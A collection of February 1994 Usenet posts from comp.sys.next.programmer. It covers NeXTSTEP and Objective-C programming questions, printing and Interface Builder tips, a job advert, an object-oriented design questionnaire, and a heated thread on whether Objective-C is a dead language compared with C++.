Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: Access to sender using stack frame Message-ID: <1994Feb1.211416.1927@afs.com> Sender: greg@afs.com References: <1994Jan29.230936.4514@glv.uucp> Date: Tue, 1 Feb 1994 21:14:16 GMT In article <1994Jan29.230936.4514@glv.uucp> scott@bobsled.cen.encompass.com (Scott Shattuck) writes: > Is there a way to always access the sender of the message in the > receiver's method implementation without requiring sender to be passed > specifically in the method arguments? Is this information available in > the marg_list construct and if so, how do I get access to the marg_list? Only 'self' and the selector for the method (_cmd) are passed as hidden arguments. If you need the sender, you must pass it explicitly. -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Categorizing Categories Message-ID: <1994Feb2.131038.459@afs.com> Sender: Michael_Pizolato@afs.com References: <2ihfl6$2nf@steffi.demon.co.uk> Date: Wed, 2 Feb 1994 13:10:38 GMT Robert Nicholson writes >I have a number of Categories of AppKit objects and I'm thinking >how I should go about classifying them. > >Currently each category is a separate file, all exist within the >same directory /LocalDeveloper/Categories. > >Well, earlier this month I mentioned that PB didn't support links >and Michael at AFS voiced his concerns about using Links for >achieving source reuse. I agree with his sentiments, I'm not so >sure wether I want to commit myself to the PB hack though to >support libraries. > >So, what is the best way to reuse/organise categories? [snip] My method is to divide things into "levels." I basically have four levels of kits - C, Objective-C, Appkit, and Palette. Everything that I write goes into one of four libraries, and which one is determined by which kit the code I am writing depends on. For example, I wrote some general utility methods in a category of Object, and that category is in the library project that covers the "Objective-C" level. In that level there is nothing that depends on anything "higher" than the Objective-C common classes. I have a window controller class that is in my "Appkit" level library, where a similar rule applies. The "Palette" level introduces IB support. The "C" level does not do objects. Each level uses features from the levels below it. The four basic kits implement what I determine to be fairly fundamental extensions to their respective levels. In addition, I have other kits that group code functionally, growing from these four fundamental levels. These functional kits may depend on zero or more of the four basic ones, and represent work that forms a unit (like NeXT's DBKit). For example, one of my personal low priority background processes is to create a "game server" suite of utilities, to manage multi-player games, tournaments, etc. Much of this work is in its own kit, but because it is mostly work that is not general in nature it is not included in the basic kits, though some things filter their way down as I find them to be more generally applicable. This works for me so far, though I see a potential problem as projects get bigger over time. I may have to reorganize once in a while, though that gets difficult as more and more stuff depends on what's currently there (a familiar problem). I have committed to my library hack because I think libraries are the best way to go for this kind of thing. NeXT will be supporting library projects soon enough, and my hack covers me until that time. Hope this makes sense. Thanx, Michael -- Michael_Pizolato@afs.com "Schopenhauer's not as optimistic as Nietzsche, NeXTMail accepted but he makes up for it by being less cheerful than Kierkegaard." - Kim Pizolato
From: eric@skatter.USask.Ca (Eric Norum) Newsgroups: comp.sys.next.programmer Subject: Why doesn't smartPrintPSCode: invoke endPrologue? Date: 3 Feb 1994 02:57:58 GMT Organization: University of Saskatchewan, Saskatoon, Canada Distribution: world Message-ID: <2ipp7m$2g0@tribune.usask.ca> I've put together a little application to display some information from some test equipment. The application is quite simple and has just one window. I added a print button to the menu and connected it to the window smartPrintPSCode: method. This works except for one problem. I have implemented a custom view to display the information. This view uses a control point font (just as described in the purple book) so I have to send the font definition as part of the PostScript prologue when printing. To do so, I added the following method to my custom view: /* * Add our control point font to the PostScript prologue */ - endPrologue { PSWDefineXYmonitorControlFont (); [super endPrologue]; return self; } The problem is that this method never gets invoked. The documentation on the View object says that endPrologue is invoked by the printPSCode: and faxPSCode: methods. What can I do to get smartPrintPSCode: to invoke this method? Thanks, -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Re: What languages are available under NeXTStep? Message-ID: <1994Feb2.163520.840@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <1994Jan31.195111.12813@enterprise.rdd.lmsc.lockheed.com> Date: Wed, 2 Feb 1994 16:35:20 GMT In article <1994Jan31.195111.12813@enterprise.rdd.lmsc.lockheed.com> z50907@mip.lasc.lockheed.com (Jeff Sickel) writes: -> I'd like to know what languages are available for NeXTStep? -> From what I've read I believe NeXT provides Objective C, -> C/C++ with their development system -> and there is a port of gcc. Are there any other -> programming languages -> available for application development? -> -> -> Jeff Sickel arcadia seems to have APL, Lisp, and Pascal + TurboPascal + Modula-2 (the latter via translation software p2c) for ftp. I don't recall what others are there. Bruce Gingery bruce@TotSysSoft.com
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: No awakeFromNib in IB test mode? Date: 3 Feb 1994 06:25:24 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2iq5ck$9e8@rosie.next.com> References: <2ipu8o$at0@Times.Stanford.EDU> Scott Roy writes > I'm trying to get a multipart object to work in IB test mode, but much > to my surprise, InterfaceBuilder doesn't seem to send out awakeFromNib > messages during testing. > Hi - First,: THIS AND MANY OTHER COOL THINGS ARE COVERED IN... ADVANCED NEXTSTEP PROGRAMMING CALL 1-800-848-NeXT for more info! Okay, now the solution: Under 3.2, InterfaceBuilder does not give "late notification" a-la -awakeFromNib. However, objects unarchived (by IB or otherwise) get sent -finishUnarchiving. So, we have a hook. The trick is that, unlike -awakeFromNib, our outlets are not guaranteed to be initialized when -finishUnarchiving is invoked. The way around this is to schedule a call to -awakeFromNib for *after* the current event-loop. Since the current event-loop is busy sending everyone a -finishUnarchiving, we'll be sure to have everything initialized later. Here's how we do it: - finishUnarchiving { /* * This is called by IB In test interface mode. * Register a timed-entry to be called right after * this event-loop to do our final initialization. */ if([NXApp conformsTo:@protocol(IB)]) { // only for IB [self perform:@selector(awakeFromNib) with:nil afterDelay:0.01 cancelPrevious:NO]; } return self; } -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Has anyone written a generic fax modem driver (free code?) Date: 3 Feb 1994 00:14:50 -0000 Organization: me organized? That's a joke! Message-ID: <2ipflq$2mv@steffi.demon.co.uk> References: <CKMA3t.HpM@unix.portal.com> Keywords: fax modem, driver, free code wwright@shell.portal.com (Bradly William Wright) wrote in comp.sys.next.programmer >I'd love to be able to get my cheap modem send and receive >faxes under NeXTSTeP. I can't afford $1000 for a 9600 >baud fax/modem and NeXTSTeP driver combination. Does anyone >have source code to a generic fax modem driver. I'm sure >that this isn't too difficult, because all I really need >is the system API's. Is it covered in the documentation >somewhere? > >Thanks, > >Brad Wright >wwright@premisys.com >wwright@shell.portal.com It doesn't cost $1000. $250 street price for a Zyxel 1496E plus $150 for NXFax from B&W. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.programmer Subject: Re: Seeking improved fingerd/finger code... Date: 3 Feb 1994 00:50:32 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <2iphoo$jji@usenet.rpi.edu> References: <CEDMAN.94Jan27231919@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: > bebeada@elof.acc.iit.edu (Adam Beberg) writes: > | I'm looking for source for improved versions of fingerd to > | provide aditional services, i.e. mail messages to the fingerie etc. > > Check out the new-finger code available from e.g. nova.cc.purdue.edu. > It is a modified BSD fingerd which both tracks the host and username > of the fingerers _and_ allows each user to efficiently run arbitrary > scripts when fingered. Has this been updated to work with the latest version of pindentd? (instead of the NeXT-specific and slightly older nidentd) I ran into some problem when trying to redo this for NS-3.2, but I forget the specifics. I think pindentd didn't come with some libraries that nidentd did, or something. I ended up just reinstalling the fingerd that I had built before upgrading to NS-3.2 and pindent-2.1. - - - - For those interested in another example of what this fingerd code allows for in .plan files, you can: finger demo@eclipse.its.rpi.edu It prints out quite a few lines, and might seem a bit confusing at first. The first part is the regular output from the .plan file, and the second part is a listing of the .plan file that produced that output. -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.sys.next.programmer From: cks!root (Operator) Subject: DMA channels 2 and 3 Message-ID: <1994Feb2.013343.181@cks.fdn.org> Sender: root@cks.fdn.org (Operator) Organization: C.K.S - Nantes France Date: Wed, 2 Feb 1994 01:33:43 GMT DMA channels 2 and 3 are used by floppy and IDE HD on my DELL with NS3.1. Is it possible to change those attributions ? I want used 2 DMA channels on a card which have 3 DMA channels 1, 2, 3. So I must get one of the channels used by IDE or Floppy. Is it possible ? ---> Pascal@cks.fdn.org ---> NeXT mail OK. -- ---> Pascal@cks.fdn.org "From the very, very old continent..."
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,uk.jobs.offered,misc.jobs.offered Subject: NeXT/Windows Programmers wanted: UK. Date: 3 Feb 1994 09:57:16 -0000 Organization: me organized? That's a joke! Message-ID: <2iqhps$411@steffi.demon.co.uk> Distribution: uk This is a one off favour I'm doing for these people. I've been talking with them and encouraging them to get on the internet so that NeXT Programmers will be aware of these positions. If you support this action then give them a call. Or if you consider yourself suitable let them know where _they_ are heard as that will give them a greater incentive to get connected. Required for various contracts 1. Nextstep Developers with good experience of OOD and Objective C based in City with financial institution 2. Nextstep, Dbkit, Interface Builder - long term contracts - London 3. Nextstep, Sybase and Windows Programmers and Support for investments company Please contact Paul Shore on 071-383 3888 or write to Hunterskil Limited, Project House 110-113 Tottenham Court Road, London, W1P 9HG
From: schumacher@rz.uni-mannheim.de Newsgroups: comp.sys.next.programmer Subject: need help Date: 3 Feb 1994 10:17:37 GMT Organization: Rechenzentrum Uni-Mannheim (RUM) Message-ID: <2iqj01$k7r@darum.uni-mannheim.de> How do I connect an icon with a shellscript? For a shellscript I want an icon other than the terminal icon. Is it really necessary to use the projectbuilder and/or the interfacebuilder, or is there a simpler approach? Thanx for any help! -- Robert Schumacher Computing Center email: schumacher@uni-mannheim.de University of Mannheim voice: ++49 621 292 5605 Postfach 10 34 62 fax: ++49 621 292 5012 L15, 16 D-68131 Mannheim
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer From: gerald@kurt.in-berlin.de (Gerald Erdmann) Subject: Missing headerfile in 3.2 (busvar.h) Message-ID: <1994Feb2.080803.515@kurt.in-berlin.de> Sender: root@kurt.in-berlin.de (Operator) Date: Wed, 2 Feb 1994 08:08:03 GMT Hello together, the headerfile "bsd/dev/busvar.h" which was imported by "bsd/dev/m68k/busvar.h" doesn't exist! Is it a bug or a feature? Does anybody knows a workaround or bug fix? Thanx Gerald -------------------------------------------------------------- | GERALD ERDMANN | email: gerald @ kurt.in-berlin.de (NeXTmail welcome) | voice: +49 30 372 43 10 (Germany - Berlin) | crypt: pgp2 puplic key available
From: jd@cs.strath.ac.uk (John W. Daly) Newsgroups: comp.lang.smalltalk,comp.lang.eiffel,comp.lang.c++,comp.object,comp.lang.clos,comp.databases,comp.lang.objective-c,comp.software-eng,comp.sys.next.programmer Subject: REPOST: Object Oriented Questionnaire Survey Date: 3 Feb 1994 14:55:09 -0000 Organization: Comp. Sci. Dept., Strathclyde Univ., Glasgow, Scotland. Distribution: world Message-ID: <2ir38d$3uu@young.cs.strath.ac.uk> Keywords: Object oriented technology, questionnaire survey, maintenance THIS IS A REPOST: IF REPLIED TO BEFORE PLEASE IGNORE. THANK YOU! TO ALL THOSE WHO HAVE REPLIED: MY THANKS FOR THE GREAT RESPONSE. I'd like to introduce myself: my name is John Daly, and I am currently a second year PhD student researching into the topic of object oriented systems, in particular maintenance of such systems. At present, I am conducting a questionnaire survey in an attempt to gain insight into the varying opinions of experts on these areas. The questionnaire, however, is not lengthy, and will not take anyone with object oriented knowledge much time to complete. I would very much appreciate it if you would be willing to answer these questions, and email me your responses. Once I have collected and analysed these responses I will, in return, email you any findings I come up with (if you are interested). Thanks in advance, John Daly. ps My apologies if any of the newsgroups posted to are not meant for this type of appeal. ----------------------------------------------------------------------- John Daly Email: jd@cs.strath.ac.uk EFoCS Research Group, Phone: +44 (0)41 552 4400, x3256 University of Strathclyde, Glasgow, Scotland. Questionnaire on Object Oriented Systems ---------------------------------------- Edit the following from rn by typing SHIFT-r (R) which will create a file allowing you to make the appropriate modifications. In the case of multiple choice questions, please indicate your selection by placing a `X' beside the choice which best answers the question for you. If more than one box can be selected this will be indicated. Section 1 - Your Background with Object Oriented Technology ----------------------------------------------------------- Base your answers to the questions in Section 1 on experience with object oriented technology. Please feel free, however, to articulate information which you regard as relevant at the end of each question. 1. (a) What is your current position? Student Academic Software Engineer Project Manager Other - please specify: (b) In what capacity do you use object oriented technology? Teaching Programming Analysis and design Other - please specify: 2. (a) How long have you used object oriented technology? < 1 year 1 - 2 years 3 - 4 years > 4 years (b) How often do you use object oriented technology (eg every day, once a week, etc)? : 3. Which object oriented language(s) are you most familiar with? (you may select more than one box) C++ Objective-C Eiffel Smalltalk CLOS Other - please specify: 4. A method is typically how many executable lines of code? 1 - 4 lines 5 - 10 lines 11 - 20 lines > 20 lines Your range of smallest to largest is: 5. How deep would your inheritance hierarchy be before you became uncomfortable with it? 1 level 2 - 3 levels 4 - 6 levels > 6 levels No problem with depth 6. What has caused you the most difficulty when trying to understand an object oriented program? Please specify: 7. Has inheritance caused difficulty when trying to understand an object oriented program? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 8. Overloading requires consistent use of method names within a system. Have you experienced any problems with consistent naming in this manner (ie methods did not maintain semantic consistency)? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 9. Have you made use of class libraries that are local to your company/academic institution (ie designed and implemented by your company/institution)? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 Section 2 - Opinionated Object Oriented Questions ------------------------------------------------- Base your answers to Section 2 on your opinions. Opinions can be gauged on experience, reading or conferring with colleagues. Again, feel free to articulate any relevant information at the end of each question. 10. Do you believe that the object oriented paradigm is more beneficial than other paradigms in terms of ... Ease of analysis and design: Yes No Don't know Programmer Productivity: Yes No Don't know Software Reuse: Yes No Don't know Ease of Maintenance: Yes No Don't know ? Any other reasons - please specify: 11. Is multiple inheritance useful? (please place a 'X' UNDER the appropriate number) Never Always No Opinion 1 2 3 4 5 0 12. Do you think that continual maintenance of structured programs, ie non object oriented programs, leads to unmaintainability? (please place a 'X' UNDER the appropriate number) Never Always No Opinion 1 2 3 4 5 0 13. Do you think that continual maintenance of object oriented programs leads to unmaintainability? (please place a 'X' UNDER the appropriate number) Never Always No Opinion 1 2 3 4 5 0 14. Do you think that object oriented code is more maintainable than structured code? (please place a 'X' UNDER the appropriate number) Never Always No Opinion 1 2 3 4 5 0 Please answer questions 15 to 19 only if you have knowledge of C++ or strong opinions on the subject in question. 15. C++ appears to have become the de facto standard object oriented language for industry. Do you regard this as Bad Good Indifferent Don't know, or Disagree with statement, please say why: 16. C++ allows a mixture of object oriented programming and structured programming. Do you see this mixture of paradigms as an Advantage, please say why: Disadvantage, please say why: Don't know 17. When maintaining a C++ program would you make use of the FRIEND function rather than redesign your inheritance hierarchy and thus maintain object orientedness? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 18. (a) How often do you make use of Operator Overloading? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 (b) Do you overload operators as Member functions, please say why: Nonmember functions, please say why: Both of the above, please say why: Not Applicable 19. How often do you make use of Templates? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 Comments and points you would care to elaborate on: --- Thanks for your time.
From: "Ryan B. Troll" <ry+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: Thu, 3 Feb 1994 10:07:20 -0500 Organization: University Libraries - Library Automatio, Carnegie Mellon, Pittsburgh, PA Message-ID: <YhIFAcq00VId88PURb@andrew.cmu.edu> Here's one argument I've heard against Objective-C, and I would like some opinions on it. Basically, it comes down to external library support. X11 and Motif, which are rather big in the Unix world, currently provide libraries of C functions (and accompanying C header files). But, I've been told that they are moving to C++. Has anybody tried to include a C++ file in an objective-C src file? So, the argument is that if you write a piece of software today, in objective-C, which uses X11 (or Motif), it will need to be rewritten when the libraries are converted to C++. Of course, this does not affect the NeXT community, whose libraries are already in Objective-C. :) My department is currently trying to decide which object oriented language to use for our upcoming projects. Two of us (NeXT owners) are pushing for objective-C, some have no opinion, and one reluctantly chooses C++. (He also prefers objective-C, but based on the above knowledge, he points out that our software will cease to compile suddenly at some point.) Does anybody have a counter argument? Ryan
From: edmtl@alf.uib.no (Thor Legvold) Newsgroups: comp.sys.next.programmer,comp.lang.postscript Subject: NeXT PS problems (I need a simple fix) Date: 3 Feb 1994 17:31:01 +0100 Organization: University of Bergen Message-ID: <2ir8s5$t7t@alf.uib.no> I have a simple problem which I have not been able to solve, and hope soneone familiar with NeXT (or "official" Adobe) PostScript will be able to help out... I have a report generator that creates PS reports from btree data, but on the NeXT it won't preview or print - I get blank pages. Yap shows the output. I tried prepending a small PS hack I got from the archives that traces errors in PS - it didn't report any errors but did allow me to make a printout of the file, but it wan't pretty. Anyone have a few minutes to look at the PS file and tell me what is wrong, or the PS source/header used in building the report and output file (which won't print) and what is wrong? Regards, -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors Norway | edmtl@fiol.uib.no (NeXTmail)
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: Reversing the colors in printPSCode: Message-ID: <1994Feb1.123626.5827@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <1994Jan28.000615.1018@stone.com> Date: Tue, 1 Feb 94 12:36:26 GMT In article <1994Jan28.000615.1018@stone.com> andrew@stone.com (Andrew Stone) writes: > In article <2i4gnc$cqm@cmcl2.NYU.EDU> dario@voluptas (Dario Ringach) > writes: > > > > I've a View where I draw white objects on a black background. > > Is there a way to make printPSCode reverse the colors (black > > objects on a white background). In general, is there a way > > to make printPSCode: take some prolog PS code before sending > > the postcript to the printer? > > > > Thanks. > > -- > > Dario > > Something like this will work for black and white drawings: [code deleted] > The problem with this is that the transfer function is now inverse, causing problems if color is used. This will solve the black/white case, but a general solution to printing versus drawing might be more appropriate: - drawSelf:(const NXRect *)rects :(int)rectcount { NXColor backColor, foreColor; if (NXDrawingStatus == NX_PRINTING) { backColor = NX_WHITE; foreColor = NX_BLACK; } else { backColor = NX_BLACK; foreColor = NX_WHITE; } NXSetColor(backColor); NXRectFill(&bounds); NXSetColor(foreColor); [...do drawing here...] return(self); } the if (NXDrawingStatus ... ) conditional could then set up whatever other parameters are necessary for printing changes. > andrew > -- > ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| > !! Andrew Stone | (505) 345-4800 !! > !! andrew@stone.com | Stone Design Corp !! > ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "When I'm a good dog they sometimes | | First National Bank of Chicago | throw me a bone..." | | drew@fnbc.com (NeXTmail) | - Pink Floyd | +--------------------------------+---------------------------------------+
Newsgroups: comp.sys.next.programmer From: thf@zelator.de (Thomas Funke) Subject: Re: Is there a FAQ regarding "tcl"? Message-ID: <1994Feb2.145535.661@gamelan.uucp> Sender: thomas@gamelan.uucp (thomas) Organization: Disorganization References: <1994Jan31.193752.23188@il.us.swissbank.com> Date: Wed, 2 Feb 1994 14:55:35 GMT In article <1994Jan31.193752.23188@il.us.swissbank.com> chris@its.com (Chris Cuilla) writes: > Is there a FAQ regarding "tcl"? I'm hearing quite a bit about > this, and would be interested in learning more. Good idea. tk/tcl is great stuff. Read the newsgroup comp.lang.tcl, the FAQ is posted there from time to time. -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer,comp.lang.c++,comp.lang.objective-c From: jimad@microsoft.com (Jim Adcock) Subject: Re: Is Objective - C a dead language ? Message-ID: <CKIv4G.2KG@microsoft.com> Organization: Microsoft Corporation Date: Tue, 1 Feb 1994 01:36:00 GMT Distribution: usa References: <2i173i$h65@geraldo.cc.utexas.edu> <2i1bvu$12n@steffi.demon.co.uk> In article <2i1bvu$12n@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: |jirapa@nextover.pe.utexas.edu wrote |>Hi, |> |>I had heard something blasphemous in my C++ class. The instructor said that |>objective-C is a dead language. Can anybody contribute to this comment? Is it |>true or false or partly true? and why? One can guess all kinds of answers to these questions, or one can try to answer the question by making some objective measures. One can ask, for example: what languages have the most compilers sold? C++ Visual Basic How many magazine articles on each in the last year? C++ = 2000 and increasing trend Objective-C = 17 and decreasing trend How many books published on each: C++ = hundreds Objective-C = 2 How many vendors selling compilers to each: C++ = tens to hundreds Objective-C = one or two, depending on how you measure it. So sorry, Objective-C is for all intents and purposes dead. One shouldn't feel bad: Read HOPL I and II -- most new languages die. Strangly enough, C++ still looks like it might survive and make the grade.
Newsgroups: comp.sys.next.programmer From: jmartin@Dallas.Bozell.com (Jeff Martin) Subject: Re: How to get the path name? Message-ID: <1994Feb2.190520.29359@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <2ijslb$lj7@larch.cc.swarthmore.edu> Date: Wed, 2 Feb 1994 19:05:20 GMT In article <2ijslb$lj7@larch.cc.swarthmore.edu> he@engin.swarthmore.edu (Ye He) writes: > Help needed (desparately): > How can the application know which directory it is in? I mean the full > pathname. Any help will be appreciated. > Ye char *applicationPath = [[NXBundle mainBundle] directory]; or Better yet, if you need to get the path to a file in the app wrapper: char path[MAXPATHLEN]; [[NXBundle mainBundle] getPath:path forResource:"filename" ofType:"extension"]; ... jeff
Newsgroups: comp.sys.next.programmer From: jmartin@Dallas.Bozell.com (Jeff Martin) Subject: Re: need to init a popUpList Message-ID: <1994Feb2.192001.29476@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <2ik8ov$dop@wave.aoml.erl.gov> Date: Wed, 2 Feb 1994 19:20:01 GMT In article <2ik8ov$dop@wave.aoml.erl.gov> bakker@cyclon.aoml.erl.gov (Cary Bakker) writes: > I use a popUpList to display a selection of items within an inspector. I want > to be able to set the popUp to a specific item within the list when the > inspector is displayed. > This is what happens: the inspector is updated to contain info on a new object, > so the popUpList is recreated and loses the previous selection. > I want to be able to set, say, the index of the item that should be selected in > the popUp. > There's prolly some easy way to do this, and that's why I'm asking ;) > Thanks, If you know the string that you want the PopUpList to display, simply tell the PopUpButton (the button that you see in IB, which holds the PopUpList) to setTitle:. If you want to set the PopUpList by index, you could do the following: id popUpList = [popUpButton target]; id popUpMatrix = [popUpList itemList]; char *newTitle = [popUpMatrix cellAt:index :0]; [popUpButton setTitle:newTitle]; or, simply: [popUpButton setTitle:[[[[popUpButton target] itemList] cellAt:index :0] title]]; ... jeff
From: griffid@gb.swissbank.com (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Protocol for setStringValue: etc... Date: 3 Feb 1994 19:35:01 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2irjl5$3pt@gpo.gb.swissbank.com> There ought to be a general protocol for setting/getting basic data values like string/int/float. There's a vague ad-hoc agreement to use setStringValue: etc, but this sort of thing needs to be standardized. Fr'instance, if you've got a data container, you may want it to be able to hook up to any IB outlet and display itself. But if the outlet is a popup list button, you have to use setTitle: instead of setStringValue: (unless you've done it yourself in a category). Then nearly every object that is capable of storing a single meaningful value should respond to this standard protocol. Dave Griffiths
From: sam_s@NeXT.com (Sam Streeper) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 3 Feb 1994 22:29:48 GMT Organization: NeXT, Inc. Message-ID: <2irtss$aai@rosie.next.com> References: <CKIv4G.2KG@microsoft.com> jimad@microsoft.com (Jim Adcock) writes: > How many magazine articles on each in the last year? > C++ = 2000 and increasing trend > Objective-C = 17 and decreasing trend > So sorry, Objective-C is for all intents and purposes dead. C++ is the false god of OOP. How many companies/consortia have committed to doing large ambitious projects in C++ and failed to ship? The continued existance of C++ is only due to companies committing good money after bad in a futile attempt to realize the promised benefits of OOP. I wouldn't argue that objective-c is a perfect language or a widely adopted standard, though it has proven itself a pretty usable and efficient tool for solving problems from very low-level to moderately high. How many of those 2000 C++ articles have had titles to the effect of "Just because you find C++ to be cryptic and problematic doesn't mean you're an Idiot." ? -sam -- Guided by their infallible logic, the Robotrons conclude the human race is inefficient, and therefore must be destroyed.
Newsgroups: comp.sys.next.programmer From: ericb@il.us.swissbank.com (Eric_Brown) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Feb3.223637.18299@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <YhIFAcq00VId88PURb@andrew.cmu.edu> Date: Thu, 3 Feb 1994 22:36:37 GMT "Ryan B. Troll" <ry+@CMU.EDU> writes > > Here's one argument I've heard against Objective-C, and I would like > some opinions on it. > .... > So, the argument is that if you write a piece of software today, in > objective-C, which uses X11 (or Motif), it will need to be rewritten > when the libraries are converted to C++. > I see two problems with this argument: 1) When the libraries are converted to C++, I doubt the old versions of the libraries will go away. They will still be perfectly usable after the port. 2) On the extremely remote chance that the standard C libraries do cease to exist, you will have the same problem with C++ as with Objective-C. You will have to change your source to use the new libraries. This will be no more difficult with Objective-C than with C++. 3) Why would you want to consider C++ anyway ;-) My advice: Go with Objective-C. You will be much happier. -- _______________________________________________________________ / Eric Brown | The opinions expressed here \ | NEXTSTEP Consultant | are mine and do not necessarily | | CG Computer Services | represent those of my employer | | ericb@il.us.swissbank.com | or SBC. | \___________________________|___________________________________/
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: Is Objective - C a dead language ? In-Reply-To: "Ryan B. Troll"'s message of Thu, 3 Feb 1994 10:07:20 -0500 Message-ID: <BYER.94Feb3154243@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <YhIFAcq00VId88PURb@andrew.cmu.edu> Date: Thu, 3 Feb 1994 23:42:43 GMT In article <YhIFAcq00VId88PURb@andrew.cmu.edu> "Ryan B. Troll" <ry+@CMU.EDU> writes: > My department is currently trying to decide which object oriented > language to use for our upcoming projects. Two of us (NeXT owners) > are pushing for objective-C, some have no opinion, and one > reluctantly chooses C++. (He also prefers objective-C, but based > on the above knowledge, he points out that our software will cease > to compile suddenly at some point.) Well, given that there's Obj-gcc++, why choose? In most instances, C++ falls far short of providing true OOP benefits, so in those situations, talk ObjC, such as for all internal objects, etc. When having to talk to interfaces which were put (unfortunately) into C++, talk C++. Personally, I think ObjC hasn't been given a fair chance yet, having been hid in a closet for so long. Now that it's come out as part of gcc, I think people who actually give it a try will be very plesantly surprised. I've worked on a large project in each, and C++ is really - for all it's creeping featurism - only an incremental improvement towards OOPness over C itself. As for C++ being "more popular" - well, as they say, a billion flies can't be wrong... -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer,comp.lang.c++,comp.lang.objective-c Subject: Re: Is Objective - C a dead language ? Date: Thu, 3 Feb 1994 18:40:25 -0500 Organization: Fifth yr. senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Distribution: usa Message-ID: <EhIMhdC00iUzE=PJ1x@andrew.cmu.edu> In-Reply-To: <CKIv4G.2KG@microsoft.com> Excerpts from netnews.comp.sys.next.programmer: 1-Feb-94 Re: Is Objective - C a dead.. by Jim Adcock@microsoft.com > One can guess all kinds of answers to these questions, or one can > try to answer the question by making some objective measures. > One can ask, for example: > > what languages have the most compilers sold? > C++ > Visual Basic One might inquire as to why one would *buy* an Objective-C compiler, since the source code to the Free Software Foundation's GNU C Compiler (gcc) is available for free. Intelligent people don't waste their money when they can get a superior product for no cost. > How many magazine articles on each in the last year? > C++ = 2000 and increasing trend > Objective-C = 17 and decreasing trend Based on what sources of information? > How many books published on each: > C++ = hundreds > Objective-C = 2 I would imagine the number of books published on the subject of managing one's lower 640K of memory space for IBM-PC class machines number in the hundreds, and I rather doubt that there are any such books for Unix. Does this mean that there is something deficient with the memory architecture of such Unix systems? Objective-C is such a simple extension to the ANSI C language that most people who are familiar with C and OOP have no problems picking up the syntax. > How many vendors selling compilers to each: > C++ = tens to hundreds > Objective-C = one or two, depending on how you measure it. Wrong. There are precisely zero vendors "selling" Objective-C compilers. Read the GNU Public License for details. Perhaps you're right in claiming that Obj-C is a dead language, Jim -- but don't count on it. Time will tell. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
